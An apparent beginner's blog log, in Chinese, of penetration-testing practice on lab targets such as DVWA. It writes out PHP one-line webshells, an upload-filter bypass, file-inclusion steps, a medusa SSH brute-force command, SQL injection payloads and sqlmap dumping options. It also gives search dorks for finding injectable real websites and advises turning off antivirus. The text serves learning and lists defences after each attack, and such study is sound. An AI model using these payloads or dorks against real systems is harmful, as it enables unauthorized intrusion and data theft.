小白的渗透攻击学习记录
前言
大家好,本人是刚接触渗透攻击以及如何去防御的小白,本篇文章将会记录我自己的学习流程,同时也可以供其他小白学习。本文主要会记录我在学习渗透过程中遇到的问题,以及解决方案。欢迎其他大佬来指出我操作中的不足,还望大家多多关照。
系统和工具
本次学习流程中所用到的系统和工具
- 虚拟机管理器(Oracle VM VirtuaBox)
- 虚拟机1(Win10,Kali Linux,Ubuntu)
- 测试平台1(OWASP)
OWASP是国外的一个大佬设计的渗透学习平台,里面包含了各种渗透模式,同时也可以选择系统安全等级(3级),不同级别有不同的渗透方案,大家可以先用这个来学习渗透基础。学习完成后大家可以使用pikachu平台来进行训练,它是网上一个大佬设计的用来练习的攻击网站,里面包含了各种网站系统的漏洞。
- 渗透工具1(中国菜刀,BurpSuite,edjpgcom)
上述提到的平台的安装方法可以在CSDN中的其他文章中找到。渗透工具可以在GitHub上找到,工具请下载至虚拟机中,并且请关闭系统自带的防火墙以及个人下载的杀毒软件,避免工具被系统误杀。
1. 文件上传攻击(File Upload)
顾名思义,这个就是通过文件上传的漏洞来渗透进目标服务器,攻击者通过将编写的一句话木马文件或者是大马文件通过文件上传的形式植入目标服务器,然后通过中国菜刀进入服务器中,在OWASPBWA中就提供了三种安全等级下的攻击方式。
低安全等级:设计者没有限制文件上传的类型,攻击方则可以直接上传包含了一句话木马的php文件<?php eval($_POST[password]); ?>
或者<?php eval($_REQUEST[password]); ?>
再或者<?php system($_REQUEST[password]); ?>
,来进行攻击。
前文代码中的eval
指可以使用php相关的代码,例如phpinfo();
,改为system
则可以使用系统指令,例如cat /etc/passwd
,password
则是渗透时用的密码。下面来展示渗透结果:
首先是<?php eval($_REQUEST[jojo]); ?>
。将文件上传后,靶机会将上传地址告诉我们(正常网站是不会告知上传地址的),复制地址到网站域名后面并且加上相对应的文件地址、设定密码和php指令test3.php?jojo=phpinfo();
,就会得到相应的结果。
然后是<?php system($_REQUEST[password]); ?>
,与上面相同的做法,只是在最后输入指令的时候只能使用系统语言test.php?jojo=cat /etc/passwd
,就会得到密码本。
上述两种方案都是需要在网站连接后面加上指令来进行攻击,对攻击者而言是相对复杂的一种操作,这里本人则推荐使用<?php eval($_POST[password]); ?>
来连接中国菜刀来进入目标服务器。同样也是一样的上传方法,只是这里需要将网站地址和文件上传地址添加到中国菜刀中,输入先前设置的密码,来进入服务器进行破坏了。
中安全级别:限制文件上传类型,只能上传规定类型的文件,例如image/jpeg,这里如果使用上述方法是无法成功进入服务器的。这里则需要用到BurpSuite(后文写为BS)来帮助我们上传一句话木马文件。如下图所示它是通过拦截我们的上传文件(作为中间代理),通过修改上传文件的信息来实现上传,简而言之就是骗系统。
首先攻击者需要将代理打开改为与BS的端口,然后打开拦截,此时BS就会截获到网站的信息,再点击上传时由于BS的拦截,网站系统则无法获取文件信息,BS中则可以查看到上传文件的信息,然后将content_type
中的类型改为image/jpeg
的类型发送给网站,网站系统就无法识别源文件。剩下的步骤则与低安全级别一样。
最后则是高安全级别,此安全级别是通过限制文件后缀名来限制上传,这里BS就无法修改文件后缀名,攻击者则需要使用图片木马来渗透进入系统。该攻击方式放在第2节文件包含漏洞一起来讲。
防御措施:
egrep -R ‘eval\(\$_POST\[’ /var/www/dvwa
。(egrep指样式(可以换为fgrep,它指固定样式),-R指定规,‘’中的是样式“\”用来区分特殊符号 最后面一节为地址。
这里的两种样式规则是用来检查文件内部内容的是否有符合规则的,若有符合规则的文件则会显示出来- 管理员来设置上传权限
- 设置waf防火墙
2. 文件包含漏洞(File Include)
文件包含漏洞分为两种,一个是本地文件包含,另一个是远程文件包含。其原理都是在目标服务器中生成一个php文件,并且在文件内部写入一句话木马。
本地文件包含(LEI):
在知道上传的木马文件位置的情况下,通过原本文件中的动态包含功能(例如include(), require()等),来执行木马文件,从而生成一句话木马文件,原理如下图所示。
攻击者只需要修改include所包含的文件,就可以生成一句话木马。例如http://1.1.1.1/index.php?page=f.php
,攻击者只需要将f.php修改为对应位置的文件,就可以实现渗透,一句话图片木马就是通过该方式来实现入侵的,首先用edjpgcom这个软件往图片中写入一句话木马,然后通过文件上传把图片上传到服务器。
然后测试一下图片是否能够访问,访问成功后再将该地址来替换目标网址的包含文件。若出现乱码,则是成功替换包含文件,并且生成了shell20.php文件,最后通过菜刀连接服务器即可。
但是这种方法是基于攻击者了解文件目录的情况下才可以实现,可正是情况下是不知道具体文件地址的,所以这里作者更推荐使用远程文件包含。
远程文件包含(RFI):
低安全级别(设计者未设置任何限制)的原理和本地文件包含很相似,只是将包含文件换成远程服务器中的恶意文件地址。设计者只需要搭建一个包含了木马文件的服务器,复制恶意木马的url到目标页面的include中,即可生成一句话木马。
本人在kali的虚拟机上写了一个一句话木马文件,并打开apache2,然后通过浏览器测试一下是否能访问这个文件(文件切记放在var/www/html
的目录下)。
然后只需要将上面的url复制下来替换目标网址所包含的文件,就可以在目标服务器中生成一句话木马文件。若靶机里面出现test5.php
这个文件就代表渗透成功,然后就可以通过菜刀来连接进入目标服务器。
然后就是中安全级别下的渗透了,中安全级别是通过过滤特定文字来实现防护的,例如将http(s)://
变为空值。这样就无法通过文件包含的方式来访问木马网站了。这里则需要去构建特殊字段来帮助实现文件包含,假设系统过滤的是http://
,这里则可以构建hthttp://tp://
这样的字段来实现渗透,系统只会忽略中间的部分,两端则会组成新的http://。
最后是高安全级别下的文件包含了,该安全级别下是通过指定文件来包含的,无法更换被包含文件(例如“$file |= ‘include.php’”),从而无法实现文件包含渗透,但是这对开发人员同样是不友好的,会加大系统的开发和管理难度。
防御措施:
- 在设计文件包含时不要使用
include *.php
或者include *
,避免产生漏洞。 - 关闭
allow-url-fopen
,这样这无法使用远程文件包含漏洞。 - 指定包含文件,但是不推荐。
3. 暴力破解
暴力破解是最无脑的一种渗透方式,只需要准备足够大的密码字典和性能优越的攻击机就行了,让机器不停的去尝试密码,总会破解出来的暴力方式,这里就大概介绍一种我喜欢的工具的使用方法。想要尝试的小伙伴可以自己建立一个简单的密码字典,里面6-10密码即可。
美杜莎(medusa),一中kali自带的破译软件,其基本语法是medusa -M ssh -u root -P passlist.txt -h 1.1.1.1 -O ssh-account.txt
,-M指的是模式(有FTP,MYSQL,SSH等),-u
指用户,-P指使用的密码字典,-h
指攻击地址,-O
指将破解出来的密码放入名为ssh-account.txt
的文件中。这里就是用owaspbwa来测试一下。这里我自己建的用户字典和密码字典,并将搜索出来的账户写入ssh-account.txt
的文件中。最后成功破译,用户是root,密码是owaspbwa。
其他类型的攻击软件其原理基本相同,使用的语法也很类似,也包含了很多功能,感兴趣的小伙伴可以使用-h来了解整个软件的详细功能,这里就不详说了。
防御措施:
- 尽量不要使用root作为账户来使用服务器,可以添加其他用户来使用。(useradd shell,
useradd jojo -S /sbin/nologin
) - 密码的复杂性,定期更换密码。
- 修改默认端口。(
/etc/ssh/sshd-config
,可以将port 2222换成其他的) - 限制登入的用户或组,在
/etc/ssh/sshd-config
文件下,在#Permit Root login Yes
下增加AllowUsers jojo
。 - 使用sudo,不要直接使用root账户
- 设置允许访问的ip,在
/etc/host.allow
下增加sshd: 1.1.1.1:allow
。 - 基于PAM实现登入限制。
4. SQL注入攻击
sql注入的目的旨在通过可注入的位置来构建其他SQL指令来达到入侵。例如or 1=1 --jojo
。目前有两种注入模式,手动注入和自动注入。在正式开讲前,先来介绍一些相关的内容:
- 联合查询(union),可以通过这个方式来查询其他的表。例如
SELECT column1.a, column2.a, column3.a FROM table.a UNION SELECT column1.b, column2.b, column3.b FROM table.b;
。使用时查询的字段数必须相同,不够的部分可以用数字来代替。例如SELECT column1.a, column2.a, column3.a FROM table.a UNION SELECT column1.b, 2, 3 FROM table.b;
。 - 在不知道有哪些数据库和表的时候,可以使用information_schema来查询这些内容。查询库名:
SELECT DISTINCT table_schema FROM information_schema.TABLES;
。查表名:SELECT table_name FROM information_schema.TABLES WHERE table_schema = 'dvwa';
。字段查询:SELECT column_name FROM information_schema.COLUMNS WHERE table_name = 'user'
。但这个方法需要在一定权限下进行,不同权限可以看到的内容不同。
手动注入
手动注入通常采取4种类型的注入方式:
- 错误注入:输入一些错误内容(例如单引号
'
),看看系统是否报错,报错则代表该输入点是一个可注入位置,反之,这可能是符号被过滤掉了,就无法注入。但通常情况下系统是不会报错的,还是需要通过其他类型的方式来验证注入。
- 基于布尔注入:布尔函数就是判断是或非的条件,例如前文提到的
' or 1=1 -- jojo
,'
是用来闭合之前的查询,1=1
是一个布尔条件并且是真条件(1=2则是假条件),--
是用来注释后面的内容。
- 联合查询注入:在不知道后端查询了几个字段的情况下,先要猜字段数,可以通过加数字的方式来尝试。例如
' UNION SELECT 1, 2, 3
。确认字段数后,就可以使用上述的库查询、表查询、字段查询、和当前用户查询等。
若想要查询的字段数大于前面的字段数,则可以使用concat()
来查询。例前面只有两个字段' UNION SELECT str1, concat(str2, ' ', str3, ' ', str4) FROM table1 -- jojo
。
- 基于时间的注入点:有时单引号无法检查出注入点,系统不会提醒语法错误,可以用
1’ and sleep(5) -- jojo
。意思为在条件成立的情况下停止5秒钟。若页面加载5秒则有注入点,没有反应就是无注入点。 - 对于插入(insert)和更新(update)注入:基于前面的错误注入,用法
a' or updatexml(1, concat(0x7e, (SELECT database()), "~"), 0) or '
。
updatexml
是更新某个xml文件(这里主要是帮助引入concat()函数并且返回结果,用法updatexml(XML.document, XPth_string, new_value)
,XML.document
指XML文件,XPth_string
指XPth字符串,new_value
指替换查找到的符合条件的值)。
concat()
是连接字符串用的这里用来插入新的SQL指令。
0x7e
等效于~
,用来帮助错误注入。 - 删除(delete)注入:和插入更新类似,只是要用BS来抓包才能实现注入。
自动化注入
使用sqlmap(KALI上有哦)这个工具来实现自动注入。可以用来进行自动化检测注入点,利用SQL注入漏洞,获取数据库权限。它会先自动检测数据库类型,然后选择注入语句。用法sqlmap -u "url" --batch --level=5 --risk=3 --dams=mysql
。-u
指注入网站地址;--batch
系统自动选择和判断;--level=5
级别越高,发送的请求越多;--risk
级别越高,可以使用的sal语句越多;--dams
数据库类型。(--threads
加线程;--cookie
用cookie注入,先注册某网站账号,根据cookie来注入;-g
谷歌搜索可注入的网站)
成功获取数据库权限后还可以使用--dbs
获取所有数据库;--current-db
当前数据库;--users
所有用户;--current-user
当前用户;-D "db_name" --tables
某库的所有表;-D "db_name" -T "table_name" --columns
某库某表的所有列字段;-D "db_name" -T "table_name" -C "column_name"
某库某表某列的字段。
若想搜索看似可以注入的网站,可以在百度搜索inurl: new.asp?id= site.edu
或者谷歌搜索inurl .php?id=
,其中部分结果是可以注入的网站。
防御手段就只有设计者在设计数据库或者系统时,加入对'
单引号的检测,并且过滤掉这些特殊符号。
5. XSS攻击
更新中。。。